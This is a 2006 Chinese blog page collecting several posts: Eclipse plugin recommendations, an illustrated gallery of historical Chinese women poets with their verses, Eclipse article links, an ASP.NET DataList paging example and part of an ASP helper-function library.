据说可以语法加亮上百种语言,非常好,至少在XML中如此,棒极了

7.xparrots_proxysettings_0.1.1
这个最重要了 http proxy plugin

8.checkstyle_eclipse_plugin_v2.1.0
可以查出编码不好的地方

9.de.mvmsoft.slime_1_1_1_eclipse
UML建模工具,逆向工程和drag功能做的很好,放大缩小也很好,不过图形看上去不舒服。

10.com.objfac.xmleditor_0.2.8
受到推崇的XML编辑器

11.jalopy-eclipse-0.2.6
格式化工具,比eclipse自带的强很多,但是不是太用,一般用把别人的代码整理成自己的风格,他会移动代码位置。

12.

OO.还有些在线升级的
   http://www.improve-technologies.com/alpha/updates/site.xml
有Axis, C#, XSLT, Resin, Editors等插件
   http://download.eclipse.org/technology/ajdt/update
AspectJ
   http://www.x-parrots.com/eclipse/updates/
iPAS, Http Proxy, Telent 

  http://eclipse-plugins.2y.net/eclipse/index.jsp 
 http://www.omondo.com/download.jsp
 http://www.eclipse-workbench.com/jsp/plugins.jsp

 http://www.genuitec.com/products_wsad.htm

 http://www.myeclipseide.com/ 

JSP插件:
Eclipse作为一个java应用的IDE,使用非常方便,但是对于Jsp的开发支持还显得不够,在这里向大家推荐一个eclipse的plugins 来协助JSP开发。这个名称叫lomboz,不但支持JSP语法高亮显示,还有Code Assist功能,可以与Jbuilder媲美。下面简要介绍一下eclipse2.1结合Tomcat开发Jsp的过程。
下载: http://www.objectlearn.com/

http://www.eclipseplugincentral.com/

Visual Swing Designer for Eclipse
http://v4all.sourceforge.net/index_start.html

http://www.docsky.com/doclist.asp?category=J2EE&category1=开发工具&category2=eclipse
posted @ 2006-05-16 09:41 MEYE 阅读(392) | 评论 (0)编辑 收藏
发贴心情
中国历代才女组图
 

 

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

班昭:汉 班固,班超之妹。
代表作:续写汉书

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

  蔡琰:即蔡文姬,东汉蔡邕之女。 作《胡笳十八拍》: 汉末大乱,连年烽火,蔡文姬在逃难中被匈双所掳,流落塞外,后来与左贤王结成夫妻,生了两个儿女。在塞外她度过了十二个春秋,但她无时无刻不在思念故乡。曹X平定了中原,与匈奴修好,派使邪路用重金赎回文姬,于是她写下了著名长诗《胡笳十八拍》,余述了自己一生不幸的遭遇。琴曲中有《大胡笳》、《小胡笳》、《胡笳十八拍》琴歌等版本。曲调虽然各有不同,但都反映了蔡文邪路思念故乡而又不忍骨肉分离的极端矛盾的痛苦心情。音乐委婉悲伤,撕裂肝肠。

<--Element not supported - Type: 8 Name: #comment--> <--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

卓文君:汉 司马相如之妻。
  代表作数字诗:
  一别之后,二地相悬,只说是三四月,又谁知五六年,七弦琴无心弹,八行书无可传,九连环从中折断,十里长亭望眼欲穿,百思想,千系念,万般无奈把君怨。
  万语千言说不完,百无聊赖十依栏,重九登高看孤雁,八月中秋月圆人不圆,七月半烧香秉烛问苍天,六月伏天人人摇扇我心寒。五月石榴如火偏遇阵阵冷雨浇花端,四月枇杷未黄我欲对镜心意乱。忽匆匆,三月桃花随水转。飘零零,二月风筝线儿断,唉!郎呀郎,巴不得下世你为女来我为男。

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

 谢道韫:谢安侄女,“咏絮才”典出于斯人。
 代表作:《登山》
    
 峨峨东岳高,秀极冲青天。岩中间虚宇,寂寞幽以玄。非工复非匠,云构成自然。气象尔何然?遂令我屡迁。逝将宅斯宇,可以尽天年。

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

  班婕妤是名门之女,少有才学,汉成帝时被立为婕妤,赵飞燕姐妹得宠后,嫉恨班婕妤人品才学,班婕妤恐日久见危,求侍奉太后于长信宫,《团扇诗》应是作于长信宫中,这首小诗词彩清新,情致哀怨,而表现的却委婉含蓄,有一种怨而不怒的气度。
    
        《团扇诗》
      新裂齐纨素, 鲜洁如霜雪。
      裁为合欢扇, 团团似明月。
      出入君怀袖, 动摇微风发。
      常恐秋节至, 凉飙夺炎热。
      弃捐箧笥中, 恩情中道绝

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

甄皇后
    
  曹丕称帝后宠郭皇后,郭后恃宠中伤甄皇后,甄后从此失宠,抛开帝后的身份不谈,从《塘上行》里读到了一个妻子对丈夫相思到极致的、一往无悔的深情泣诉,可怜甄后最后等来的只是曹丕的一纸死令。甚至死后对尸身‘以发覆面、以糠塞口’的侮辱与凌虐 ...
    
      《塘上行》
      蒲生我池中, 其叶何离离。
      傍能行仁义, 莫若妾自知。
      众口烁黄金, 使君生别离。
      念君去我时, 独愁常苦悲。
      想见君颜色, 感结伤心脾。
      念君常苦悲, 夜夜不能寐。

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

女皇武曌则天大帝 古往今来唯此一女...

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

侯夫人
    
  隋炀帝在位期间广造高楼,并网罗天下美女数千名纳于迷楼中幽闭,侯夫人就是这几千名一辈子都没有见过隋炀帝的宫女之一,侯夫人最后自缢而死,一个美丽的才女,就这样被白白死去了,身后只留下了几首咏物寄意的空灵飘逸的小诗,让后人读来辄用伤怀。
    
      《春日看梅》
      砌雪无消日, 卷帘时自颦。
      庭梅对我有怜意, 先露枝头一点春。

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

卫子夫 以一头乌黑靓丽的秀发,而闻名天下... 得宠于汉武帝--刘彻

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

 花蕊夫人:先为孟昶爱妃,后被赵匡胤招入宫中。
      代表作:述国亡诗
      
  宋灭后蜀时,只用了一万军队,而后蜀的十四万军人几乎不战而降,花蕊夫人随孟昶流亡北行,夜宿葭萌驿站,感怀国破家亡的哀愁,在馆壁上题了这首《采桑子》,因军骑催促,只得半阕,却一字一泪。
    
         《采桑子》
      初离蜀道心将碎,
      离恨绵绵。
      春日如年,
      马上时时闻杜鹃。
    
      
      宋太祖赵匡胤久慕花蕊夫人的才名,召见了她并命她赋诗一首,花蕊夫人就做了这首满怀亡国之恨和故国之思的诗。传说花蕊夫人最终的归宿是被赵匡胤纳入后宫,并一直得遇恩宠,如果真是这样,对于一个命运坎坷羁袢的女子也算善终了。
    
      《述亡国诗》
      君王城上竖降旗,妾在深宫哪得知。
      十四万人齐谢甲,更无一人是男儿。

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

  唐琬:陆游表妹兼妻子。
  代表作:钗头凤
  世情薄,人情恶,雨送黄昏花易落。晓风干,泪痕残,意缄心事,独语斜难。难、难、难!
  人成各,今非昨,病魂常似秋千索。角声寒,夜阑珊,怕人询问,咽泪妆欢。瞒、瞒、瞒!

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

  薛涛:唐代女诗人,人称女校书。曾与当时著名诗人元缜唱和,实力不俗。
 代表作:吟梧桐诗(八岁时作)
    
 庭除一古桐,耸干入云中;枝迎南北鸟,叶送往来风

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

   朱淑真:宋代著名女词人,知名才女,诗词皆擅,当然入选。
   代表作:有〈断肠集〉传世。

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

 郭 爱
    
      《绝命辞》
      修短有数兮,不足较也。
      生而如梦兮,死者觉也。
      先吾亲而归兮,惭予之失孝也。
      心凄凄而不能已兮,是则可悼也。
      
      明代的官女大都出自京城门庭清白的小户人家,一旦被选入宫,就意味着从此与家人生死永不得见,而且明初的宫廷沿袭了元代惨烈的人殉制度,官女郭爱被勒令为明宣宗殉葬时入宫仅20天,《绝命辞》是临终时所作,字字血泪与父母诀别,自此后魂消影绝阴阳两隔。
    历代帝王为一己之私,广蓄美女,幽闭后宫,不见天日的高墙深院,不知白白葬送了多少女子的青春、幸福和生命。
      如有来世,她们该期望是嫁在一个平凡的人家,上有父母在堂,下有儿女绕膝,纵有才情,也心甘情愿在妻职母职中渐渐磨灭,在一菜一蔬、一昼一夜里延续人间烟火的爱,一天一天、年华老去……
      然上穷碧落下黄泉,此生已了。

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

柳如是:明代著名才女,秦淮八艳之首,曾于当时两大著名诗人陈子龙、钱谦益切磋过武功,虎视群雌,真所谓巾帼不让须眉

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

李师师 宋徽宗的私爱...

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

陈圆圆 冲冠一怒为红颜

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

蜀中即有四大才女:卓文君、薛涛、花蕊夫人、黄娥。
    
此为 黄娥

<--Element not supported - Type: 8 Name: #comment-->

图:中国历代才女鉴赏(组图)

 

孙尚香 孙坚之女,孙策之妹,刘皇叔娶之...

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

后宫深院里被白白湮灭的才女及诗作
    
      《啄木诗》
      南山有鸟, 自名啄木。
      饥则啄木, 暮则宿巢。
      无干于人, 唯志所欲。
      此盖禽兽, 性清者荣,性浊者辱。
      
      晋武帝司马炎闻听诗人左思的妹妹左芬才情过人即纳入后宫,左芬因为德才超群每每被帝王群臣赞赏,使后宫佳丽见妒。一贯荒唐渔色的司马炎是历史上最无耻无为的帝王之一,左芬被封为贵妃,不过是司马炎为自己博得惜才的虚名,《晋书》中称左芬‘姿陋体羸,常居薄室’。《啄木诗》是左芬淡泊自律的生活写照。

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

这个就叫 李清照

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

顺治帝 的 董小宛

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

易求无价宝,难得有情郎 的 鱼玄机

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

大汉 章德窦皇后

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

大汉 和熹皇后,邓绥

<--Element not supported - Type: 8 Name: #comment-->
图:中国历代才女鉴赏(组图)

夏 姬

 

 




发贴心情

posted @ 2006-05-04 15:04 MEYE 阅读(383) | 评论 (0)编辑 收藏
: Java咖啡的奶茶——Eclipse


Eclipse遮住了谁的光芒


关注日蚀计划Eclipse


Eclipse:温柔的侵袭


Eclipse 平台入门


Eclipse使用入门


Eclipse入门:使用指南


Eclipse入门:开发Eclipse插件


用Eclipse平台进行C/C++开发


SWT代码研究


SWT/JFace开发入门指南


Java图形界面开发:SWT全接触


搭建Windows下基于Eclipse的PHP开发环境


如何在Eclipse中建立自己的JUnit测试


Eclipse快速上手指南之使用ANT


在Eclipse3.0.1上安装EclipseME0.5.5


使用EclipseME开发J2ME程序


整合SE J2ME SDK与eclipse开发环境
posted @ 2006-05-03 09:24 MEYE 阅读(364) | 评论 (0)编辑 收藏

DataList分页、增加、删除、修改实例

 
DataList分页、增加、删除、修改实例


datalist控件没有内置的分页功能,所以对于分页需自己写程序去实现;本示例还包括了DataList的所有基本操作,如添加,删除,修改,选择等;具体代码如下:

前台代码:Default.aspx
----------------------------------------

<%@ Page language="c#" Codebehind="Default.aspx.cs" AutoEventWireup="false" Inherits="Example.DataListTest" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
 <HEAD>
  <title>DataListTest</title>
  <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR">
  <meta content="C#" name="CODE_LANGUAGE">
  <meta content="JavaScript" name="vs_defaultClientScript">
  <meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
  <style type="text/css">TD { FONT-SIZE: 12px; COLOR: #000000; FONT-FAMILY: "宋体" }
  </style>
 </HEAD>
 <body MS_POSITIONING="GridLayout">
  <form id="Form1" method="post" runat="server">
   <table cellSpacing="0" cellPadding="0" width="100%" border="0">
    <tr>
    <td><a href="/DlNested.aspx">DataList嵌套实例</a></td>
    </tr>
    <tr>
     <td>
      <table cellSpacing="0" borderColorDark="white" cellPadding="0" width="100%" align="center"
       border="1">
       <tr>
        <td><asp:datalist id="DataList1" runat="server" Width="90%" Height="280px" RepeatColumns="2" RepeatDirection="Horizontal"
          RepeatLayout="Flow">
          <headertemplate>
           <table id="Table6" cellspacing="0" bordercolordark="white" cellpadding="0" width="100%"
            border="1">
            <tr>
             <td width="80%"><font face="宋体">TypeName</font></td>
             <td width="50"><font face="宋体">选择</font></td>
             <td width="50"><font face="宋体">确定</font></td>
             <td width="50"><font face="宋体">删除</font></td>
            </tr>
           </table>
          </headertemplate>
          <selecteditemtemplate>
           <font face="宋体">
            <table id="Table3" cellspacing="0" cellpadding="0" width="100%" border="1" bordercolordark="white">
             <tr>
              <td><font face="宋体">TypeID</font></td>
              <td><font face="宋体" color="#ff3366"><font face="宋体">TypeName</font></font></td>
             </tr>
             <tr>
              <td style="HEIGHT: 21px"><font face="宋体">
                <asp:Label id=lblTypeID runat="server" Text='<%# DataBinder.Eval(Container.DataItem, "I_TypeID") %>'>
                </asp:Label></font></td>
              <td style="HEIGHT: 21px"><font face="宋体" color="#ff3366">
                <asp:Label id=lblTypeName runat="server" Text='<%# DataBinder.Eval(Container.DataItem, "C_TypeName") %>'>
                </asp:Label></font></td>
             </tr>
             <tr>
              <td colspan="2">
               <asp:Button id="btnBack" runat="server" CommandName="cancel" Text="返回"></asp:Button></td>
             </tr>
            </table>
           </font>
          </selecteditemtemplate>
          <footertemplate>
           <table id="Table8" cellspacing="0" bordercolordark="white" cellpadding="0" width="100%"
            border="1">
            <tr>
             <td><font face="宋体">TypeID</font></td>
             <td>
              <asp:TextBox id="txtTypeIDInsert" runat="server"></asp:TextBox></td>
             <td><font face="宋体">TypeName</font></td>
             <td>
              <asp:TextBox id="txtTypeNameInsert" runat="server"></asp:TextBox></td>
             <td align="center">
              <asp:Button id="btnInsert" runat="server" Text="新增" CommandName="Insert"></asp:Button></td>
            </tr>
           </table>
          </footertemplate>
          <itemtemplate>
           <table cellspacing="0" cellpadding="0" width="100%" border="1" bordercolordark="white">
            <tr>
             <td width="80%"><font face="宋体" color="red">
               <%# DataBinder.Eval(Container.DataItem,"C_TypeName")%>
              </font>
             </td>
             <td width="50">
              <asp:Button id="btnSelect" runat="server" CommandName="select" Text="选择"></asp:Button></td>
             <td width="50">
              <asp:Button id="btnModify" runat="server" CommandName="edit" Text="编辑" EnableViewState="true"></asp:Button></td>
             <td width="50"><font face="宋体">
               <asp:Button id=btnDelete runat="server" CommandName="delete" Text="删除" CommandArgument='<%# DataBinder.Eval(Container.DataItem, "I_TypeID") %>'>
               </asp:Button></font></td>
            </tr>
           </table>
          </itemtemplate>
          <edititemtemplate>
           <table id="Table2" cellspacing="0" cellpadding="0" width="100%" border="1">
            <tr>
             <td style="WIDTH: 75px; HEIGHT: 23px"><font face="宋体"><font face="宋体">TypeName</font></font></td>
             <td style="HEIGHT: 23px"><font face="宋体" color="#ff3366">
               <asp:TextBox id=txtTypeName runat="server" Text='<%# DataBinder.Eval(Container.DataItem, "C_TypeName") %>'>
               </asp:TextBox></font></td>
            </tr>
            <tr>
             <td style="WIDTH: 75px"><font face="宋体">
               <asp:Button id=btnUpdate runat="server" CommandName="update" Text="更新" CommandArgument='<%# DataBinder.Eval(Container.DataItem, "I_TypeID") %>'>
               </asp:Button></font></td>
             <td><font face="宋体" color="#ff3366">
               <asp:Button id="btnCancle" runat="server" CommandName="cancel" Text="取消"></asp:Button></font></td>
            </tr>
           </table>
          </edititemtemplate>
         </asp:datalist></td>
       </tr>
      </table>
     </td>
    </tr>
    <tr>
     <td>
      <TABLE cellSpacing="0" borderColorDark="white" cellPadding="0" width="100%" border="1">
       <TR align="center">
        <TD noWrap width="10%">共
         <asp:label id="lblRecNum" runat="server"></asp:label>条记录</TD>
        <TD noWrap width="30%">第
         <asp:label id="lblCurPageNO" runat="server"></asp:label>页/共
         <asp:label id="lblPageNum" runat="server"></asp:label>页</TD>
        <TD noWrap width="5%"><asp:button id="btnFirst" runat="server" Text="首页"></asp:button></TD>
        <TD noWrap width="5%"><asp:button id="btnPreview" runat="server" Text="上页"></asp:button></TD>
        <TD noWrap width="5%"><asp:button id="btnNext" runat="server" Text="下页"></asp:button></TD>
        <TD noWrap width="5%"><asp:button id="btnLast" runat="server" Text="末页"></asp:button></TD>
        <TD noWrap width="20%">每页<asp:dropdownlist id="ddlPageRowNum" runat="server" AutoPostBack="True"></asp:dropdownlist>行</TD>
        <TD noWrap width="20%">转到
         <asp:dropdownlist id="ddlJumpToPageNum" runat="server" AutoPostBack="True"></asp:dropdownlist>页</TD>
       </TR>
      </TABLE>
     </td>
    </tr>
   </table>
  </form>
 </body>
</HTML>

后台代码:Default.aspx.cs
----------------------------------------

/*----------------------------------------------------------------
// 版权所有: 亿思维软件工作室
// 网站地址: Http://www.easewe.com
// 联系方式: 87015203(QQ),easewe@126.com(Email)
// 整理日期: 2005.09.14
//----------------------------------------------------------------*/
using System;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Data.SqlClient;
using System.Drawing;
using System.Web;
using System.Web.SessionState;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;
using System.Data.OleDb;
namespace Example
{
    /// <summary>
    /// DataListTest 的摘要说明。
    /// </summary>
    public class DataListTest : System.Web.UI.Page
    {
        protected System.Web.UI.WebControls.DataList DataList1;
        protected System.Web.UI.WebControls.Label lblRecNum;
        protected System.Web.UI.WebControls.Label lblCurPageNO;
        protected System.Web.UI.WebControls.Label lblPageNum;
        protected System.Web.UI.WebControls.Button btnFirst;
        protected System.Web.UI.WebControls.Button btnPreview;
        protected System.Web.UI.WebControls.Button btnNext;
        protected System.Web.UI.WebControls.Button btnLast;
        protected System.Web.UI.WebControls.DropDownList ddlPageRowNum;
        protected System.Web.UI.WebControls.DropDownList ddlJumpToPageNum;

        protected string connString;
        protected int pageNum = -1;
        protected int recNum = -1;
        protected int pageRecNum = -1;
        protected int curPageNO = -1;
        private void Page_Load(object sender, System.EventArgs e)
        {
            // 在此处放置用户代码以初始化页面
            connString = @"Provider=Microsoft.Jet.OleDb.4.0;Data Source=" + Request.PhysicalApplicationPath + "DataList.mdb";
            if ( !Page.IsPostBack )
            {
                //-----------recNum
                OleDbConnection conn = new OleDbConnection();
                conn.ConnectionString = connString;
                conn.Open();
                OleDbCommand cmd = new OleDbCommand("select count(*) from ArticleType",conn);
                recNum = Convert.ToInt32(cmd.ExecuteScalar());
                conn.Close();
                //-----------pageRecNum
                ddlPageRowNum.Items.Clear();
                for( int i=1;i<=recNum;i++ )
                {
                    ddlPageRowNum.Items.Add(i.ToString());
                }
                if ( recNum < 5 )
                {
                    ddlPageRowNum.SelectedIndex = recNum - 1;
                }
                else
                {
                    ddlPageRowNum.SelectedIndex = 4;
                }
               
                //------------------pageRecNum,pageNum
                pageRecNum = Convert.ToInt32(ddlPageRowNum.SelectedValue);
                if ( Convert.ToInt32(recNum % pageRecNum) == 0 )
                {
                    pageNum = Convert.ToInt32(recNum/pageRecNum);
                }
                else
                {
                    pageNum = Convert.ToInt32(recNum/pageRecNum) + 1;
                }
                ddlJumpToPageNum.Items.Clear();
                for( int i=1;i<=pageNum;i++ )
                {
                    ddlJumpToPageNum.Items.Add(i.ToString());
                }
                lblPageNum.Text = pageNum.ToString();
                ViewState["PageRowNum"] = pageRecNum;
                ViewState["RecNum"] = recNum;
                ViewState["PageNum"] = pageNum;
                //-----------------curPageNO
                curPageNO = 1;
                ViewState["CurPageNO"] = curPageNO;
                //------------------
            }
            pageRecNum = Convert.ToInt32(ViewState["PageRowNum"]);
            recNum = Convert.ToInt32(ViewState["RecNum"]);
            curPageNO = Convert.ToInt32(ViewState["CurPageNO"]);
            pageNum = Convert.ToInt32(ViewState["PageNum"]);
            //------------pageNum
            if ( pageRecNum==-1 || recNum==-1 )
            {
                Response.Write("发生错误!");
                Response.End();
            }
            if ( curPageNO <= 1 )
            {
                curPageNO = 1;
                btnFirst.Enabled = false;
                btnPreview.Enabled = false;
            }
            //-----------------
            lblRecNum.Text = recNum.ToString();
            lblCurPageNO.Text = curPageNO.ToString();

            //-----------------
            if ( !Page.IsPostBack )
            {
                BindData();
            }

        }


        #region Web 窗体设计器生成的代码
        override protected void OnInit(EventArgs e)
        {
            //
            // CODEGEN: 该调用是 ASP.NET Web 窗体设计器所必需的。
            //
            InitializeComponent();
            base.OnInit(e);
        }
  
        /// <summary>
        /// 设计器支持所需的方法 - 不要使用代码编辑器修改
        /// 此方法的内容。
        /// </summary>
        private void InitializeComponent()
        {   
            this.DataList1.ItemCommand += new System.Web.UI.WebControls.DataListCommandEventHandler(this.DataList1_ItemCommand);
            this.DataList1.CancelCommand += new System.Web.UI.WebControls.DataListCommandEventHandler(this.DataList1_CancelCommand);
            this.DataList1.EditCommand += new System.Web.UI.WebControls.DataListCommandEventHandler(this.DataList1_EditCommand);
            this.DataList1.UpdateCommand += new System.Web.UI.WebControls.DataListCommandEventHandler(this.DataList1_UpdateCommand);
            this.DataList1.DeleteCommand += new System.Web.UI.WebControls.DataListCommandEventHandler(this.DataList1_DeleteCommand);
            this.DataList1.ItemDataBound += new System.Web.UI.WebControls.DataListItemEventHandler(this.DataList1_ItemDataBound);

            this.btnFirst.Click += new System.EventHandler(this.btnFirst_Click);
            this.btnPreview.Click += new System.EventHandler(this.btnPreview_Click);
            this.btnNext.Click += new System.EventHandler(this.btnNext_Click);
            this.btnLast.Click += new System.EventHandler(this.btnLast_Click);
            this.ddlPageRowNum.SelectedIndexChanged += new System.EventHandler(this.ddlPageRowNum_SelectedIndexChanged);
            this.ddlJumpToPageNum.SelectedIndexChanged += new System.EventHandler(this.ddlJumpToPageNum_SelectedIndexChanged);
            this.Load += new System.EventHandler(this.Page_Load);

        }
        #endregion

        #region datelist


        private void BindData()
        {
            string commandText = "select * from ArticleType";
            //----------
            OleDbConnection conn = new OleDbConnection();
            conn.ConnectionString = connString;
            conn.Open();
            OleDbDataAdapter da = new OleDbDataAdapter(commandText,conn);
            DataSet ds = new DataSet();
            da.Fill(ds,(curPageNO-1) * pageRecNum,pageRecNum,"ArticleType");
            //----------
            DataList1.DataSource = ds.Tables["ArticleType"];
            DataList1.DataBind(); 
            ds.Clear();
            conn.Close();
            lblCurPageNO.Text = curPageNO.ToString();
        }

        private void DataList1_EditCommand(object source, System.Web.UI.WebControls.DataListCommandEventArgs e)
        {
            DataList1.EditItemIndex = e.Item.ItemIndex;
            BindData();
        }

        private void DataList1_DeleteCommand(object source, System.Web.UI.WebControls.DataListCommandEventArgs e)
        {
            string typeID = e.CommandArgument.ToString();
            string commandText = "Delete From ArticleType Where I_TypeID=@TypeID";
            OleDbConnection conn = new OleDbConnection();
            conn.ConnectionString = connString;
            conn.Open();
            OleDbCommand cmd = new OleDbCommand(commandText,conn);
            OleDbParameter[] param = new OleDbParameter[1];
            param[0] = new OleDbParameter("TypeID",typeID);
            cmd.Parameters.Add(param[0]);
            cmd.ExecuteNonQuery();
            cmd.Parameters.Clear();
            conn.Close();
            //----------------------
            recNum --;
            lblRecNum.Text = recNum.ToString();
            //-----------pageRecNum
            ddlPageRowNum.Items.Clear();
            for( int i=1;i<=recNum;i++ )
            {
                ddlPageRowNum.Items.Add(i.ToString());
            }
            ddlPageRowNum.SelectedValue = ViewState["PageRowNum"].ToString();
               
            //------------------pageRecNum,pageNum
            pageRecNum = Convert.ToInt32(ddlPageRowNum.SelectedValue);
            if ( Convert.ToInt32(recNum % pageRecNum) == 0 )
            {
                pageNum = Convert.ToInt32(recNum/pageRecNum);
            }
            else
            {
                pageNum = Convert.ToInt32(recNum/pageRecNum) + 1;
            }
            ddlJumpToPageNum.Items.Clear();
            for( int i=1;i<=pageNum;i++ )
            {
                ddlJumpToPageNum.Items.Add(i.ToString());
            }
            lblPageNum.Text = pageNum.ToString();
            lblCurPageNO.Text = pageNum.ToString();
            ViewState["PageRowNum"] = pageRecNum;
            ViewState["RecNum"] = recNum;
            ViewState["PageNum"] = pageNum;
            //-----------------curPageNO
            curPageNO = Convert.ToInt32(ViewState["CurPageNO"]);
            if ( curPageNO>pageNum )
            {
                curPageNO = pageNum;
            }
            ddlJumpToPageNum.SelectedValue = "1";
            ViewState["CurPageNO"] = curPageNO;
            //-----------------
            if ( curPageNO == 1 )
            {
                btnFirst.Enabled = false;
                btnPreview.Enabled = false;
            }
            if ( curPageNO == pageNum )
            {
                btnNext.Enabled = false;
                btnLast.Enabled = false;
            }
            //----------
            DataList1.EditItemIndex = -1;
            DataList1.SelectedIndex = -1;
            //----------------------
            BindData();
        }

        private void DataList1_ItemDataBound(object sender, System.Web.UI.WebControls.DataListItemEventArgs e)
        {
            if ( e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem )
            {
                Button btnDel = (Button)e.Item.FindControl("btnDelete");
                btnDel.Attributes.Add("onclick","return confirm('确定要删除[" + DataBinder.Eval(e.Item.DataItem,"C_TypeName") + "]吗?')");   
               
                e.Item.Attributes.Add("onmouseover","this.style.backgroundColor='#cccc00'");
                e.Item.Attributes.Add("onmouseout","this.style.backgroundColor='white'");
            }
        }

        private void DataList1_ItemCommand(object source, System.Web.UI.WebControls.DataListCommandEventArgs e)
        {
            if ( e.CommandName == "select" )
            {
                DataList1.SelectedIndex = e.Item.ItemIndex;
                BindData();
            }
            if ( e.CommandName == "Insert" )
            {
                string typeID = ((TextBox)e.Item.FindControl("txtTypeIDInsert")).Text.ToString();
                string typeName = ((TextBox)e.Item.FindControl("txtTypeNameInsert")).Text.ToString();
                //----------
                string commandText = "Insert Into ArticleType(C_TypeName,I_TypeID)";
                commandText = commandText + " Values(@TypeName,@TypeID)";
                //-----------
                OleDbConnection conn = new OleDbConnection();
                conn.ConnectionString = connString;
                conn.Open();
                OleDbCommand cmd = new OleDbCommand(commandText,conn);
                OleDbParameter[] param = new OleDbParameter[2];
                param[0] = new OleDbParameter("TypeName",typeName);
                param[1] = new OleDbParameter("TypeID",typeID);
                cmd.Parameters.Add(param[0]);
                cmd.Parameters.Add(param[1]);
                cmd.ExecuteNonQuery();
                cmd.Parameters.Clear();
                conn.Close();
                //----------------------
                recNum ++;
                lblRecNum.Text = recNum.ToString();
                //-----------pageRecNum
                ddlPageRowNum.Items.Clear();
                for( int i=1;i<=recNum;i++ )
                {
                    ddlPageRowNum.Items.Add(i.ToString());
                }
                ddlPageRowNum.SelectedValue = ViewState["PageRowNum"].ToString();
               
                //------------------pageRecNum,pageNum
                pageRecNum = Convert.ToInt32(ddlPageRowNum.SelectedValue);
                if ( Convert.ToInt32(recNum % pageRecNum) == 0 )
                {
                    pageNum = Convert.ToInt32(recNum/pageRecNum);
                }
                else
                {
                    pageNum = Convert.ToInt32(recNum/pageRecNum) + 1;
                }
                ddlJumpToPageNum.Items.Clear();
                for( int i=1;i<=pageNum;i++ )
                {
                    ddlJumpToPageNum.Items.Add(i.ToString());
                }
                lblPageNum.Text = pageNum.ToString();
                lblCurPageNO.Text = pageNum.ToString();
                ViewState["PageRowNum"] = pageRecNum;
                ViewState["RecNum"] = recNum;
                ViewState["PageNum"] = pageNum;
                //-----------------curPageNO
                curPageNO = pageNum;
                ddlJumpToPageNum.SelectedValue = "1";
                ViewState["CurPageNO"] = curPageNO;
                //-----------------
                btnFirst.Enabled = true;
                btnPreview.Enabled = true;
                btnNext.Enabled = false;
                btnLast.Enabled = false;
                //----------
                DataList1.EditItemIndex = -1;
                DataList1.SelectedIndex = -1;
                BindData();               
            }
        }

        private void DataList1_CancelCommand(object source, System.Web.UI.WebControls.DataListCommandEventArgs e)
        {
            DataList1.SelectedIndex = -1;
            DataList1.EditItemIndex = -1;
            BindData();
           
        }

        private void DataList1_UpdateCommand(object source, System.Web.UI.WebControls.DataListCommandEventArgs e)
        {
            string typeID = e.CommandArgument.ToString();
            string typeName = ((TextBox)e.Item.FindControl("txtTypeName")).Text.ToString();
            //----------
            string commandText = "Update ArticleType Set C_TypeName=@TypeName";
            commandText = commandText + " Where I_TypeID=@TypeID";
            //-----------
            OleDbConnection conn = new OleDbConnection();
            conn.ConnectionString = connString;
            conn.Open();
  &n

posted @ 2006-05-02 23:00 MEYE 阅读(799) | 评论 (0)编辑 收藏

ASP实用函数库

[ 2006-4-30 17:14:00 | By: 吉祥 ]
<%
'判断文件名是否合法
Function isFilename(aFilename)
Dim sErrorStr,iNameLength,i
isFilename=TRUE
sErrorStr=Array("/","\",":","*","?","""","<",">","|")
iNameLength=Len(aFilename)
If iNameLength<1 or iNameLength=null Then
isFilename=FALSE
Else
For i=0 To 8
If instr(aFilename,sErrorStr(i)) Then
isFilename=FALSE
End If
Next
End If
End Function

'去掉字符串头尾的连续的回车和空格
function trimVBcrlf(str)
trimVBcrlf=rtrimVBcrlf(ltrimVBcrlf(str))
end function

'去掉字符串开头的连续的回车和空格
function ltrimVBcrlf(str)
dim pos,isBlankChar
pos=1
isBlankChar=true
while isBlankChar
if mid(str,pos,1)=" " then
pos=pos+1
elseif mid(str,pos,2)=VBcrlf then
pos=pos+2
else
isBlankChar=false
end if
wend
ltrimVBcrlf=right(str,len(str)-pos+1)
end function

'去掉字符串末尾的连续的回车和空格
function rtrimVBcrlf(str)
dim pos,isBlankChar
pos=len(str)
isBlankChar=true
while isBlankChar and pos>=2
if mid(str,pos,1)=" " then
pos=pos-1
elseif mid(str,pos-1,2)=VBcrlf then
pos=pos-2
else
isBlankChar=false
end if
wend
